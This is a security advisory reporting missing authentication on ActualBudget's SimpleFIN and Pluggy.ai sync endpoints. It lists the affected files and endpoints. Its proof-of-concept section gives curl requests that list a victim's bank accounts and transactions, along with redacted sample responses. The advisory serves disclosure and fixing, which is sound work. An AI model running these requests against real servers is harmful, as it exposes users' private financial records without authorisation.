Summary
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
Impact
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
Details
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/): /packages/sync-server/src/app-simplefin/app-simplefin.js /packages/sync-server/src/app-pluggyai/app-pluggyai.js
The sensitive endpoints missing authentication are: POST /simplefin/status POST /simplefin/accounts POST /simplefin/transactions POST /pluggyai/status POST /pluggyai/accounts POST /pluggyai/transactions
The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js): js const app = express(); app.use(requestLoggerMiddleware); ... app.use(express.json()); app.use(validateSessionMiddleware); // <-- Uses authentication
PoC
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN: bash Check if SimpleFIN is configured curl -X POST "https://<actualbudgethost>/simplefin/status"
List SimpleFIN accounts curl -X POST "https://<actualbudgethost>/simplefin/accounts"
List SimpleFIN transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
PluggyAI: bash Check if PluggyAI is configured curl -X POST "https://<actualbudgethost>/pluggyai/status"
List Pluggy.ai accounts curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
List Pluggy.ai transactions with an account ID from the previous request curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
Example response from POST /simplefin/accounts: json { "status": "ok", "data": { "accounts": [ { "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "name": "CHEQUING ACCOUNT", "currency": "CAD", "balance": "1234.56", "available-balance": "0.00", "balance-date": 1771531758, "transactions": [], "holdings": [], "org": { "domain": "www.cibc.com", "name": "CIBC", "sfin-url": "https://beta-bridge.simplefin.org/simplefin", "url": "https://www.cibconline.cibc.com", "id": "www.cibconline.cibc.com" } }, ... ] } }
Example response from POST /simplefin/transactions: json { "status": "ok", "data": { "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": { "balances": [ { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "expected", "referenceDate": "2026-02-19" }, { "balanceAmount": { "amount": "1234.56", "currency": "CAD" }, "balanceType": "interimAvailable", "referenceDate": "2026-02-19" } ], "startingBalance": 123456, "transactions": { "all": [ { "booked": true, "sortOrder": 1771502400, "date": "2026-02-19", "payeeName": "E-Transfer", "notes": "SEND E-TFR ABC", "transactionAmount": { "amount": "-12.00", "currency": "USD" }, "transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", "transactedDate": "2026-02-19", "postedDate": "2026-02-19" }, ... ], "pending": [] } } } }